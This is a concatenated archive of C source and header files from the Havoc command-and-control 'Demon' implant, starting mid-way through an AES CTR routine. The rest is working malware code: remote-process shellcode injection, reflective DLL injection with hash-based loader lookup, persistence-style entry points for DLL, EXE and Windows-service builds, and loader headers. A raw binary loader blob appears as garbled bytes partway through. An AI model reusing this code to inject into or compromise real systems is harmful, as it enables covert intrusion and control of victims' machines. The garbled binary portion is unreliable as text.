0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, 0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, 0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, 0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb, 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, 0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08, 0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, 0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf, 0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16 }; static const UINT8 Rcon[11] = { 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36 }; #define getSBoxValue(num) (sbox[(num)]) void KeyExpansion(UINT8* RoundKey, const UINT8* Key) { unsigned i, j, k; UINT8 tempa[4]; for (i = 0; i < Nk; ++i) { RoundKey[(i * 4) + 0] = Key[(i * 4) + 0]; RoundKey[(i * 4) + 1] = Key[(i * 4) + 1]; RoundKey[(i * 4) + 2] = Key[(i * 4) + 2]; RoundKey[(i * 4) + 3] = Key[(i * 4) + 3]; } for (i = Nk; i < Nb * (Nr + 1); ++i) { { k = (i - 1) * 4; tempa[0]=RoundKey[k + 0]; tempa[1]=RoundKey[k + 1]; tempa[2]=RoundKey[k + 2]; tempa[3]=RoundKey[k + 3]; } if (i % Nk == 0) { const UINT8 u8tmp = tempa[0]; tempa[0] = tempa[1]; tempa[1] = tempa[2]; tempa[2] = tempa[3]; tempa[3] = u8tmp; tempa[0] = getSBoxValue(tempa[0]); tempa[1] = getSBoxValue(tempa[1]); tempa[2] = getSBoxValue(tempa[2]); tempa[3] = getSBoxValue(tempa[3]); tempa[0] = tempa[0] ^ Rcon[i/Nk]; } if (i % Nk == 4) { tempa[0] = getSBoxValue(tempa[0]); tempa[1] = getSBoxValue(tempa[1]); tempa[2] = getSBoxValue(tempa[2]); tempa[3] = getSBoxValue(tempa[3]); } j = i * 4; k=(i - Nk) * 4; RoundKey[j + 0] = RoundKey[k + 0] ^ tempa[0]; RoundKey[j + 1] = RoundKey[k + 1] ^ tempa[1]; RoundKey[j + 2] = RoundKey[k + 2] ^ tempa[2]; RoundKey[j + 3] = RoundKey[k + 3] ^ tempa[3]; } } void AesInit( PAESCTX ctx, const PUINT8 key, const PUINT8 iv) { KeyExpansion( ctx->RoundKey, key ); MemCopy( ctx->Iv, iv, AES_BLOCKLEN ); } // This function adds the round key to state. // The round key is added to the state by an XOR function. static void AddRoundKey(UINT8 round, state_t* state, const UINT8* RoundKey) { UINT8 i,j; for (i = 0; i < 4; ++i) { for (j = 0; j < 4; ++j) { (*state)[i][j] ^= RoundKey[(round * Nb * 4) + (i * Nb) + j]; } } } // The SubBytes Function Substitutes the values in the // state matrix with values in an S-box. static void SubBytes(state_t* state) { UINT8 i, j; for (i = 0; i < 4; ++i) { for (j = 0; j < 4; ++j) { (*state)[j][i] = getSBoxValue((*state)[j][i]); } } } // The ShiftRows() function shifts the rows in the state to the left. // Each row is shifted with different offset. // Offset = Row number. So the first row is not shifted. static void ShiftRows(state_t* state) { UINT8 temp; // Rotate first row 1 columns to left temp = (*state)[0][1]; (*state)[0][1] = (*state)[1][1]; (*state)[1][1] = (*state)[2][1]; (*state)[2][1] = (*state)[3][1]; (*state)[3][1] = temp; // Rotate second row 2 columns to left temp = (*state)[0][2]; (*state)[0][2] = (*state)[2][2]; (*state)[2][2] = temp; temp = (*state)[1][2]; (*state)[1][2] = (*state)[3][2]; (*state)[3][2] = temp; // Rotate third row 3 columns to left temp = (*state)[0][3]; (*state)[0][3] = (*state)[3][3]; (*state)[3][3] = (*state)[2][3]; (*state)[2][3] = (*state)[1][3]; (*state)[1][3] = temp; } static UINT8 xtime(UINT8 x) { return ((x<<1) ^ (((x>>7) & 1) * 0x1b)); } // MixColumns function mixes the columns of the state matrix static void MixColumns(state_t* state) { UINT8 i; UINT8 Tmp, Tm, t; for (i = 0; i < 4; ++i) { t = (*state)[i][0]; Tmp = (*state)[i][0] ^ (*state)[i][1] ^ (*state)[i][2] ^ (*state)[i][3] ; Tm = (*state)[i][0] ^ (*state)[i][1] ; Tm = xtime(Tm); (*state)[i][0] ^= Tm ^ Tmp ; Tm = (*state)[i][1] ^ (*state)[i][2] ; Tm = xtime(Tm); (*state)[i][1] ^= Tm ^ Tmp ; Tm = (*state)[i][2] ^ (*state)[i][3] ; Tm = xtime(Tm); (*state)[i][2] ^= Tm ^ Tmp ; Tm = (*state)[i][3] ^ t ; Tm = xtime(Tm); (*state)[i][3] ^= Tm ^ Tmp ; } } // Cipher is the main function that encrypts the PlainText. static void Cipher(state_t* state, const UINT8* RoundKey) // Main { UINT8 round = 0; // Add the First round key to the state before starting the rounds. AddRoundKey(0, state, RoundKey); // There will be Nr rounds. // The first Nr-1 rounds are identical. // These Nr rounds are executed in the loop below. // Last one without MixColumns() for (round = 1; ; ++round) { SubBytes(state); ShiftRows(state); if (round == Nr) { break; } MixColumns(state); AddRoundKey(round, state, RoundKey); } // Add round key to last round AddRoundKey(Nr, state, RoundKey); } #if defined(CTR) && (CTR == 1) void AesXCryptBuffer( PAESCTX ctx, PUINT8 buf, SIZE_T length) { UINT8 buffer[AES_BLOCKLEN]; size_t i; int bi; for (i = 0, bi = AES_BLOCKLEN; i < length; ++i, ++bi) { if (bi == AES_BLOCKLEN) /* we need to regen xor compliment in buffer */ { MemCopy(buffer, ctx->Iv, AES_BLOCKLEN); Cipher((state_t*)buffer,ctx->RoundKey); for (bi = (AES_BLOCKLEN - 1); bi >= 0; --bi) { if (ctx->Iv[bi] == 255) { ctx->Iv[bi] = 0; continue; } ctx->Iv[bi] += 1; break; } bi = 0; } buf[i] = (buf[i] ^ buffer[bi]); } } #endifhavoc-0.6~git20240910.69ce17c/payloads/Demon/src/inject/000077500000000000000000000000001467014221700222105ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/payloads/Demon/src/inject/Inject.c000066400000000000000000000311371467014221700235750ustar00rootroot00000000000000#include #include #include #include #include #include #include #include #include /*! * Inject code into a remote process * * @param Method thread execution method. * @param Handle opened handle to the remote process. * @param Pid if no handle has been provided than open the process using the Pid * @param x64 payload architecture (only x64/x86 supported). * @param Payload payload buffer to inject * @param Size payload buffer size to inject * @param Offset execution entrypoint offset (can be used to specify the ReflectiveLoader function) * @param Argv Argument buffer to pass to the injected code * @param Argc Argument buffer size to pass to the injected code * * @return returns a INJECTION_ERROR_? status */ DWORD Inject( IN BYTE Method, IN HANDLE Handle, IN DWORD Pid, IN BOOL x64, IN PVOID Payload, IN SIZE_T Size, IN UINT64 Offset, IN PVOID Argv, IN SIZE_T Argc ) { DWORD Status = INJECT_ERROR_FAILED; DWORD Tid = 0; HANDLE Process = NULL; HANDLE Thread = NULL; PVOID Memory = NULL; PVOID Param = NULL; BOOL IsWow64 = FALSE; /* check if required params have been specified */ if ( ( ( ! Handle ) && ( ! Pid ) ) || ( ( ! Payload ) && ( ! Size ) ) ) { return INJECT_ERROR_INVALID_PARAM; } /* set the process handle */ Process = Handle; /* if no handle has been specified then get process handle by Pid */ if ( ! Process ) { if ( ( Process = ProcessOpen( Pid, PROCESS_ALL_ACCESS ) ) == NULL ) { PRINTF( "[INJECT] Failed to open process handle: %d\n", NtGetLastError() ) Process = NULL; goto END; } else { PRINTF( "[INJECT] Opened process handle to %d: %x\n", Pid, Process ) } } else { PRINTF( "[INJECT] Using specified process handle: %x\n", Process ) } /* check the architecture matches */ if ( x64 && Instance->Session.OS_Arch == PROCESSOR_ARCHITECTURE_INTEL ) { PUTS( "The OS is x86!" ) Status = INJECT_ERROR_PROCESS_ARCH_MISMATCH; goto END; } IsWow64 = ProcessIsWow( Process ); if ( x64 && IsWow64 ) { PUTS( "The process target process is x86!" ) Status = INJECT_ERROR_PROCESS_ARCH_MISMATCH; goto END; } else if ( ! x64 && Instance->Session.OS_Arch == PROCESSOR_ARCHITECTURE_AMD64 && ! IsWow64 ) { PUTS( "The process target process is x64!" ) Status = INJECT_ERROR_PROCESS_ARCH_MISMATCH; goto END; } /* allocate memory in the remote process */ if ( ! ( Memory = MmVirtualAlloc( DX_MEM_DEFAULT, Process, Size, PAGE_READWRITE ) ) ) { PUTS( "[INJECT] Failed allocating memory in remote process" ) goto END; } else { PRINTF( "[INJECT] Allocated memory in the remote process: %p\n", Memory ) } /* write payload into remote process memory */ if ( ! ( MmVirtualWrite( Process, Memory, Payload, Size ) ) ) { PUTS( "[INJECT] Failed to write payload into remote process" ) goto END; } else { PRINTF( "[INJECT] Wrote payload into remote process: %d written\n", Size ) } /* change allocated memory from RW to RX */ if ( ! ( MmVirtualProtect( DX_MEM_SYSCALL, Process, Memory, Size, PAGE_EXECUTE_READ ) ) ) { PUTS( "[INJECT] Failed to change memory protection" ) goto END; } else { PUTS( "[INJECT] Changed memory protection from RW to RX" ) } /* check if any args has been specified */ if ( Argv && ( Argc > 0 ) ) { /* allocate memory in the remote process */ if ( ! ( Param = MmVirtualAlloc( DX_MEM_DEFAULT, Process, Argc, PAGE_READWRITE ) ) ) { PUTS( "[INJECT] Failed allocating argument memory in remote process" ) goto END; } else { PRINTF( "[INJECT] Allocated argument memory in the remote process: %p\n", Param ) } /* write payload into remote process memory */ if ( ! ( MmVirtualWrite( Process, Param, Argv, Argc ) ) ) { PUTS( "[INJECT] Failed to write argument into remote process" ) goto END; } else { PRINTF( "[INJECT] Wrote argument into remote process: %d written\n", Argc ) } } /* create new thread in remote process */ if ( ( Thread = ThreadCreate( Method, Process, x64, C_PTR( Memory + Offset ), Param, &Tid ) ) ) { Status = INJECT_ERROR_SUCCESS; PRINTF( "[INJECT] Successful injected code into remote process: [Tid: %d]\n", Tid ); } else { PRINTF( "[INJECT] Failed to create a new thread: %d\n", NtGetLastError() ) } END: PUTS( "[INJECT] End of function. Cleanup start now" ) /* if we failed to inject the lets free up allocated memory */ if ( Status == INJECT_ERROR_FAILED ) { /* free allocated payload */ if ( Memory ) { MmVirtualFree( Process, Memory ); Memory = NULL; } /* free allocated param */ if ( Param ) { MmVirtualFree( Process, Param ); Param = NULL; } } /* only close process handle if it wasn't passed to the function */ if ( Process && ! Handle ) { SysNtClose( Process ); Process = NULL; } /* close thread handle */ if ( Thread ) { SysNtClose( Thread ); Thread = NULL; } return Status; } DWORD DllInjectReflective( HANDLE hTargetProcess, LPVOID DllLdr, DWORD DllLdrSize, LPVOID DllBuffer, DWORD DllLength, PVOID Parameter, SIZE_T ParamSize, PINJECTION_CTX ctx ) { PRINTF( "DllInjectReflective( %x, %x, %d, %x )\n", hTargetProcess, DllBuffer, DllLength, ctx ); NTSTATUS NtStatus = STATUS_SUCCESS; LPVOID MemParamsBuffer = NULL; LPVOID MemLibraryBuffer = NULL; LPVOID ReflectiveLdr = NULL; LPVOID FullDll = NULL; LPVOID MemRegion = NULL; DWORD MemRegionSize = 0; DWORD ReflectiveLdrOffset = 0; ULONG FullDllSize = 0; BOOL HasRDll = FALSE; DWORD ReturnValue = 0; SIZE_T BytesWritten = 0; BOOL x64 = Instance->Session.OS_Arch == PROCESSOR_ARCHITECTURE_INTEL ? FALSE : TRUE; if( ! DllBuffer || ! DllLength || ! hTargetProcess ) { PUTS( "Params == NULL" ) ReturnValue = -1; goto Cleanup; } if ( ProcessIsWow( hTargetProcess ) ) // check if remote process x86 { x64 = FALSE; if ( GetPeArch( DllBuffer ) != PROCESS_ARCH_X86 ) // check if dll is x64 { PUTS( "[ERROR] trying to inject a x64 payload into a x86 process. ABORT" ); return ERROR_INJECT_PROC_PAYLOAD_ARCH_DONT_MATCH_X64_TO_X86; } } else { if ( GetPeArch( DllBuffer ) != PROCESS_ARCH_X64 ) // check if dll is x64 { PUTS( "[ERROR] trying to inject a x86 payload into a x64 process. ABORT" ); return ERROR_INJECT_PROC_PAYLOAD_ARCH_DONT_MATCH_X86_TO_X64; } } if ( ( ReflectiveLdrOffset = GetReflectiveLoaderOffset( DllBuffer ) ) ) { PUTS( "The DLL has a Reflective Loader already defined" ); HasRDll = TRUE; FullDll = DllBuffer; FullDllSize = DllLength; } else { PUTS( "The DLL does not have a Reflective Loader defined, using KaynLdr" ); HasRDll = FALSE; FullDll = Instance->Win32.LocalAlloc( LPTR, DllLdrSize + DllLength ); FullDllSize = DllLdrSize + DllLength; MemCopy( FullDll, DllLdr, DllLdrSize ); MemCopy( FullDll + DllLdrSize, DllBuffer, DllLength ); } PRINTF( "Reflective Loader Offset => %x\n", ReflectiveLdrOffset ); // Alloc and write remote params PRINTF( "Params: Size:[%d] Pointer:[%p]\n", ParamSize, Parameter ) if ( ParamSize > 0 ) { MemParamsBuffer = MmVirtualAlloc( DX_MEM_DEFAULT, hTargetProcess, ParamSize, PAGE_READWRITE ); if ( MemParamsBuffer ) { PRINTF( "MemoryAlloc: Success allocated memory for parameters: ptr:[%p]\n", MemParamsBuffer ) NtStatus = SysNtWriteVirtualMemory( hTargetProcess, MemParamsBuffer, Parameter, ParamSize, &BytesWritten ); if ( ! NT_SUCCESS( NtStatus ) ) { PUTS( "NtWriteVirtualMemory: Failed to write memory for parameters" ) PackageTransmitError( CALLBACK_ERROR_WIN32, Instance->Win32.RtlNtStatusToDosError( NtStatus ) ); ReturnValue = NtStatus; goto Cleanup; } else PUTS( "Successful wrote params into remote library memory" ); } else { PUTS( "NtAllocateVirtualMemory: Failed to allocate memory for parameters" ) PackageTransmitError( CALLBACK_ERROR_WIN32, Instance->Win32.RtlNtStatusToDosError( NtStatus ) ); ReturnValue = -1; goto Cleanup; } } // Alloc and write remote library MemLibraryBuffer = MmVirtualAlloc( DX_MEM_DEFAULT, hTargetProcess, FullDllSize, PAGE_READWRITE ); if ( MemLibraryBuffer ) { PUTS( "[+] NtAllocateVirtualMemory: success" ); if ( NT_SUCCESS( NtStatus = SysNtWriteVirtualMemory( hTargetProcess, MemLibraryBuffer, FullDll, FullDllSize, &BytesWritten ) ) ) { // TODO: check to get the .text section and size of it PRINTF( "[+] NtWriteVirtualMemory: success: ptr[%p]\n", MemLibraryBuffer ); ReflectiveLdr = RVA( LPVOID, MemLibraryBuffer, ReflectiveLdrOffset ); MemRegion = MemLibraryBuffer - ( ( ( UINT_PTR ) MemLibraryBuffer ) % 8192 ); // size of shellcode? change it to rx MemRegionSize = 16384; BytesWritten = 0; // NtStatus = Instance->Win32.NtProtectVirtualMemory( hTargetProcess, &MemRegion, &MemRegionSize, PAGE_EXECUTE_READ, &OldProtect ); if ( MmVirtualProtect( DX_MEM_SYSCALL, hTargetProcess, MemRegion, MemRegionSize, PAGE_EXECUTE_READ ) ) { ctx->Parameter = MemParamsBuffer; PRINTF( "ctx->Parameter: %p\n", ctx->Parameter ) if ( ! ThreadCreate( THREAD_METHOD_NTCREATEHREADEX, hTargetProcess, x64, ReflectiveLdr, MemParamsBuffer, NULL ) ) { PRINTF( "[-] Failed to inject dll %d\n", NtGetLastError() ) PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() ); ReturnValue = -1; goto Cleanup; } ReturnValue = 0; goto Cleanup; } else { PUTS("[-] NtProtectVirtualMemory: failed") PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() ); ReturnValue = -1; goto Cleanup; } } else { PRINTF( "NtWriteVirtualMemory: Failed to write memory for library [%x]\n", NtStatus ) PackageTransmitError( 0x1, Instance->Win32.RtlNtStatusToDosError( NtStatus ) ); ReturnValue = NtStatus; goto Cleanup; } } PRINTF( "Failed to allocate memory: %d\n", NtGetLastError() ) ReturnValue = -1; Cleanup: if ( ! HasRDll && FullDll ) { MemSet( FullDll, 0, FullDllSize ); MmHeapFree( FullDll ); FullDll = NULL; } return ReturnValue; } DWORD DllSpawnReflective( LPVOID DllLdr, DWORD DllLdrSize, LPVOID DllBuffer, DWORD DllLength, PVOID Parameter, SIZE_T ParamSize, PINJECTION_CTX ctx ) { PRINTF( "Params( %x, %d, %x )\n", DllBuffer, DllLength, ctx ); PROCESS_INFORMATION ProcessInfo = { 0 }; PWCHAR SpawnProc = NULL; DWORD Result = 0; if ( GetPeArch( DllBuffer ) == PROCESS_ARCH_X86 ) // check if dll is x64 SpawnProc = Instance->Config.Process.Spawn86; else SpawnProc = Instance->Config.Process.Spawn64; /* Meh this is the default */ Result = ERROR_INJECT_FAILED_TO_SPAWN_TARGET_PROCESS; if ( ProcessCreate( TRUE, NULL, SpawnProc, CREATE_NO_WINDOW | CREATE_SUSPENDED, &ProcessInfo, TRUE, NULL ) ) { Result = DllInjectReflective( ProcessInfo.hProcess, DllLdr, DllLdrSize, DllBuffer, DllLength, Parameter, ParamSize, ctx ); if ( Result != 0 ) { PUTS( "Failed" ) ProcessTerminate( ProcessInfo.hProcess, 0 ); SysNtClose( ProcessInfo.hProcess ); SysNtClose( ProcessInfo.hThread ); } } return Result; } havoc-0.6~git20240910.69ce17c/payloads/Demon/src/inject/InjectUtil.c000066400000000000000000000065741467014221700244420ustar00rootroot00000000000000#include #include #include #include #include #ifndef _WIN32 typedef ULONG NTSTATUS; #endif DWORD Rva2Offset( DWORD dwRva, UINT_PTR uiBaseAddress ) { PIMAGE_SECTION_HEADER ImageSectionHeader; PIMAGE_NT_HEADERS ImageNtHeaders; ImageNtHeaders = RVA( PIMAGE_NT_HEADERS, uiBaseAddress, ( ( PIMAGE_DOS_HEADER ) uiBaseAddress )->e_lfanew ); ImageSectionHeader = RVA( PIMAGE_SECTION_HEADER, &ImageNtHeaders->OptionalHeader, ImageNtHeaders->FileHeader.SizeOfOptionalHeader ); if ( dwRva < ImageSectionHeader[ 0 ].PointerToRawData ) return dwRva; for ( WORD wIndex = 0; wIndex < ImageNtHeaders->FileHeader.NumberOfSections; wIndex++ ) { DWORD VirtualAddress = ImageSectionHeader[ wIndex ].VirtualAddress; if ( dwRva >= VirtualAddress && dwRva < ( VirtualAddress + ImageSectionHeader[ wIndex ].SizeOfRawData ) ) { return ( dwRva - VirtualAddress + ImageSectionHeader[ wIndex ].PointerToRawData ); } } return 0; } DWORD GetReflectiveLoaderOffset( PVOID ReflectiveLdrAddr ) { PIMAGE_NT_HEADERS NtHeaders = NULL; PIMAGE_EXPORT_DIRECTORY ExportDir = NULL; UINT_PTR AddrOfNames = 0; UINT_PTR AddrOfFunctions = 0; UINT_PTR AddrOfNameOrdinals = 0; DWORD FunctionCounter = 0; PCHAR FunctionName = NULL; NtHeaders = RVA( PIMAGE_NT_HEADERS, ReflectiveLdrAddr, ( ( PIMAGE_DOS_HEADER ) ReflectiveLdrAddr )->e_lfanew ); ExportDir = ReflectiveLdrAddr + Rva2Offset( NtHeaders->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ].VirtualAddress, ReflectiveLdrAddr ); AddrOfNames = ReflectiveLdrAddr + Rva2Offset( ExportDir->AddressOfNames, ReflectiveLdrAddr ); AddrOfNameOrdinals = ReflectiveLdrAddr + Rva2Offset( ExportDir->AddressOfNameOrdinals, ReflectiveLdrAddr ); FunctionCounter = ExportDir->NumberOfNames; while ( FunctionCounter-- ) { FunctionName = ( PCHAR )( ReflectiveLdrAddr + Rva2Offset( DEREF_32( AddrOfNames ), ReflectiveLdrAddr ) ); // ReflectiveLoader KaynLoader if ( HashStringA( FunctionName ) == 0xa6caa1c5 || HashStringA( FunctionName ) == 0xffe885ef ) { PRINTF( "FunctionName => %s\n", FunctionName ); AddrOfFunctions = ReflectiveLdrAddr + Rva2Offset( ExportDir->AddressOfFunctions, ReflectiveLdrAddr ); AddrOfFunctions += ( DEREF_16( AddrOfNameOrdinals ) * sizeof( DWORD ) ); return Rva2Offset( DEREF_32( AddrOfFunctions ), ReflectiveLdrAddr ); } AddrOfNames += sizeof( DWORD ); AddrOfNameOrdinals += sizeof( WORD ); } return 0; } DWORD GetPeArch( PVOID PeBytes ) { PIMAGE_NT_HEADERS NtHeader = NULL; DWORD DllArch = PROCESS_ARCH_UNKNOWN; if( ! PeBytes ) { return DllArch; } NtHeader = ( PIMAGE_NT_HEADERS ) ( ( ( UINT_PTR ) PeBytes ) + ( ( PIMAGE_DOS_HEADER ) PeBytes )->e_lfanew ); if ( NtHeader->OptionalHeader.Magic == 0x010B ) { DllArch = PROCESS_ARCH_X86; } else if ( NtHeader->OptionalHeader.Magic == 0x020B ) { DllArch = PROCESS_ARCH_X64; } return DllArch; } havoc-0.6~git20240910.69ce17c/payloads/Demon/src/main/000077500000000000000000000000001467014221700216605ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/payloads/Demon/src/main/MainDll.c000066400000000000000000000041141467014221700233440ustar00rootroot00000000000000#include #include #ifndef SHELLCODE /* Export this for rundll32 or any other program that requires and exported functions... * TODO: make this function name optional/changeable in the payload generator.*/ DLLEXPORT VOID Start( ) { /* prevent exiting if started using rundll32 or something */ PVOID Kernel32 = LdrModulePeb( H_MODULE_KERNEL32 ); VOID ( WINAPI *DoSleep ) ( DWORD ) = LdrFunctionAddr( Kernel32, H_FUNC_SLEEP ); // calling sleep lowers the CPU consumed in this loop while ( TRUE ) { DoSleep( 24 * 60 * 60 * 1000 ); } } #endif /* this is our entrypoint for the Dll (also for shellcode) */ DLLEXPORT BOOL WINAPI DllMain( IN HINSTANCE hDllBase, IN DWORD Reason, _Inout_ LPVOID Reserved ) { PVOID Kernel32 = NULL; if ( Reason == DLL_PROCESS_ATTACH ) { #if !defined(SHELLCODE) && defined(DEBUG) /* if the dll is compiled in debug mode start a console to write our debug prints to */ AllocConsole(); freopen( "CONOUT$", "w", stdout ); #endif #ifdef SHELLCODE /* we dont need to make a new thread since we get loaded by our shellcode */ DemonMain( hDllBase, Reserved ); #else /* if we don't compile for the shellcode then start a new thread. * why? because if not then we get an ERROR_INVALID_STATE from WinHttpSendRequest * because we can't make HTTP requests in DllMain which seems that WinHTTP doesn't like */ Kernel32 = LdrModulePeb( H_MODULE_KERNEL32 ); HANDLE ( WINAPI *NewThread ) ( LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD ) = LdrFunctionAddr( Kernel32, H_FUNC_CREATETHREAD ); /* you can load another function here using * LdrModulePeb or LdrModuleLoad then LdrFunctionAddr */ NewThread( NULL, 0, C_PTR( DemonMain ), hDllBase, 0, NULL ); #endif return TRUE; } return FALSE; }havoc-0.6~git20240910.69ce17c/payloads/Demon/src/main/MainExe.c000066400000000000000000000004561467014221700233570ustar00rootroot00000000000000#include INT WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nShowCmd ) { PRINTF( "WinMain: hInstance:[%p] hPrevInstance:[%p] lpCmdLine:[%s] nShowCmd:[%d]\n", hInstance, hPrevInstance, lpCmdLine, nShowCmd ) DemonMain( NULL, NULL ); return 0; } havoc-0.6~git20240910.69ce17c/payloads/Demon/src/main/MainSvc.c000066400000000000000000000027021467014221700233650ustar00rootroot00000000000000#include /* Service handle and status variable */ SERVICE_STATUS_HANDLE StatusHandle = { 0 }; SERVICE_STATUS SvcStatus = { .dwServiceType = SERVICE_WIN32, .dwCurrentState = SERVICE_START_PENDING, .dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN, }; /* Service Functions */ VOID WINAPI SvcMain( DWORD dwArgc, LPTSTR* Argv ); VOID WINAPI SrvCtrlHandler( DWORD CtrlCode ); /* Our entrypoint for Windows service executable. */ INT WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nShowCmd ) { PRINTF( "WinMain (Service Main): hInstance:[%p]\n", hInstance ) SERVICE_TABLE_ENTRY DispatchTable[ ] = { { SERVICE_NAME, SvcMain }, { NULL, NULL } }; StartServiceCtrlDispatcherA( DispatchTable ); return 0; } /* Service executable entrypoint */ VOID WINAPI SvcMain( DWORD dwArgc, LPTSTR* Argv ) { StatusHandle = RegisterServiceCtrlHandlerA( SERVICE_NAME, SrvCtrlHandler ); if ( ! StatusHandle ) return; /* start our agent */ DemonMain( NULL, NULL ); } VOID WINAPI SrvCtrlHandler( DWORD CtrlCode ) { /* if we get any kind of exit code then it's time to say goodbye */ if ( ( CtrlCode == SERVICE_CONTROL_STOP ) || ( CtrlCode == SERVICE_CONTROL_SHUTDOWN ) ) { SvcStatus.dwWin32ExitCode = 0; SvcStatus.dwCurrentState = SERVICE_STOPPED; SetServiceStatus( StatusHandle, &SvcStatus ); } }havoc-0.6~git20240910.69ce17c/payloads/DllLdr.x64.bin000066400000000000000000000077401467014221700214020ustar00rootroot00000000000000UHHHMHEHEHEHEHEHEHEHEHDžxHDžpHDžhHDž`EDž\HEHEEHEHEHHpHEHEHKHESpHEHEHHEAACjEH HEHEHHEAA츃HHEHEHHEAA(PHHEHEHHEAAibHHEHE@ #include #define NTDLL_HASH 0x70e61753 #define SYS_LDRLOADDLL 0x9e456a43 #define SYS_NTALLOCATEVIRTUALMEMORY 0xf783b8ec #define SYS_NTPROTECTEDVIRTUALMEMORY 0x50e92888 #define SYS_NTFLUSHINSTRUCTIONCACHE 0x6269b87f #define DLLEXPORT __declspec( dllexport ) #define NAKED __declspec( naked ) #define FORCE_INLINE __forceinline #define WIN32_FUNC( x ) __typeof__( x ) * x; #define U_PTR( x ) ( ( UINT_PTR ) x ) #define C_PTR( x ) ( ( LPVOID ) x ) #define RVA2VA(type, base, rva) (type)((ULONG_PTR) base + rva) #define DLL_QUERY_HMODULE 6 #ifdef _WIN64 #define IMAGE_REL_TYPE IMAGE_REL_BASED_DIR64 #else #define IMAGE_REL_TYPE IMAGE_REL_BASED_HIGHLOW #endif typedef struct { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } U_STRING, *PU_STRING; typedef struct { struct { UINT_PTR Ntdll; } Modules; struct { NTSTATUS ( NTAPI *LdrLoadDll )( PWSTR DllPath, PULONG DllCharacteristics, PU_STRING DllName, PVOID *DllHandle ); NTSTATUS ( NTAPI *NtAllocateVirtualMemory ) ( HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect ); NTSTATUS ( NTAPI *NtProtectVirtualMemory ) ( HANDLE ProcessHandle, PVOID *BaseAddress, PSIZE_T RegionSize, ULONG NewProtect, PULONG OldProtect ); NTSTATUS ( NTAPI *NtFlushInstructionCache ) ( HANDLE ProcessHandle, PVOID BaseAddress, ULONG NumberOfBytesToFlush ); } Win32; } INSTANCE, *PINSTANCE; typedef struct { WORD offset :12; WORD type :4; } *PIMAGE_RELOC; LPVOID KaynCaller( PVOID StartAddress ); VOID Memcpy( PVOID Destination, PVOID source, SIZE_T Size ); PVOID KGetModuleByHash( DWORD hash ); PVOID KGetProcAddressByHash( PINSTANCE Instance, PVOID DllModuleBase, DWORD FunctionHash, DWORD Ordinal ); PVOID KLoadLibrary( PINSTANCE Instance, LPSTR Module ); VOID KResolveIAT( PINSTANCE Instance, PVOID KaynImage, PVOID IatDir ); VOID KReAllocSections( PVOID KaynImage, PVOID ImageBase, PVOID Dir ); DWORD KHashString( LPVOID String, SIZE_T Size ); SIZE_T KStringLengthA( LPCSTR String ); SIZE_T KStringLengthW( LPCWSTR String ); VOID KMemSet( PVOID Destination, INT Value, SIZE_T Size ); SIZE_T KCharStringToWCharString( PWCHAR Destination, PCHAR Source, SIZE_T MaximumAllowed ); havoc-0.6~git20240910.69ce17c/payloads/DllLdr/Include/Macro.h000066400000000000000000000007511467014221700230600ustar00rootroot00000000000000 #include #define HASH_KEY 5381 #ifdef _WIN64 #define PPEB_PTR __readgsqword( 0x60 ) #else #define PPEB_PTR __readfsdword( 0x30 ) #endif #define SEC( s, x ) __attribute__( ( section( "." #s "$" #x "" ) ) ) #define U_PTR( x ) ( ( UINT_PTR ) x ) #define C_PTR( x ) ( ( LPVOID ) x ) #define NtCurrentProcess() ( HANDLE ) ( ( HANDLE ) - 1 ) #define GET_SYMBOL( x ) ( ULONG_PTR )( GetRIP( ) - ( ( ULONG_PTR ) & GetRIP - ( ULONG_PTR ) x ) )havoc-0.6~git20240910.69ce17c/payloads/DllLdr/Include/Native.h000066400000000000000000000117511467014221700232470ustar00rootroot00000000000000 typedef struct _myUNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } myUNICODE_STRING, *PmyUNICODE_STRING, **PPmyUNICODE_STRING; typedef struct _CURDIR { 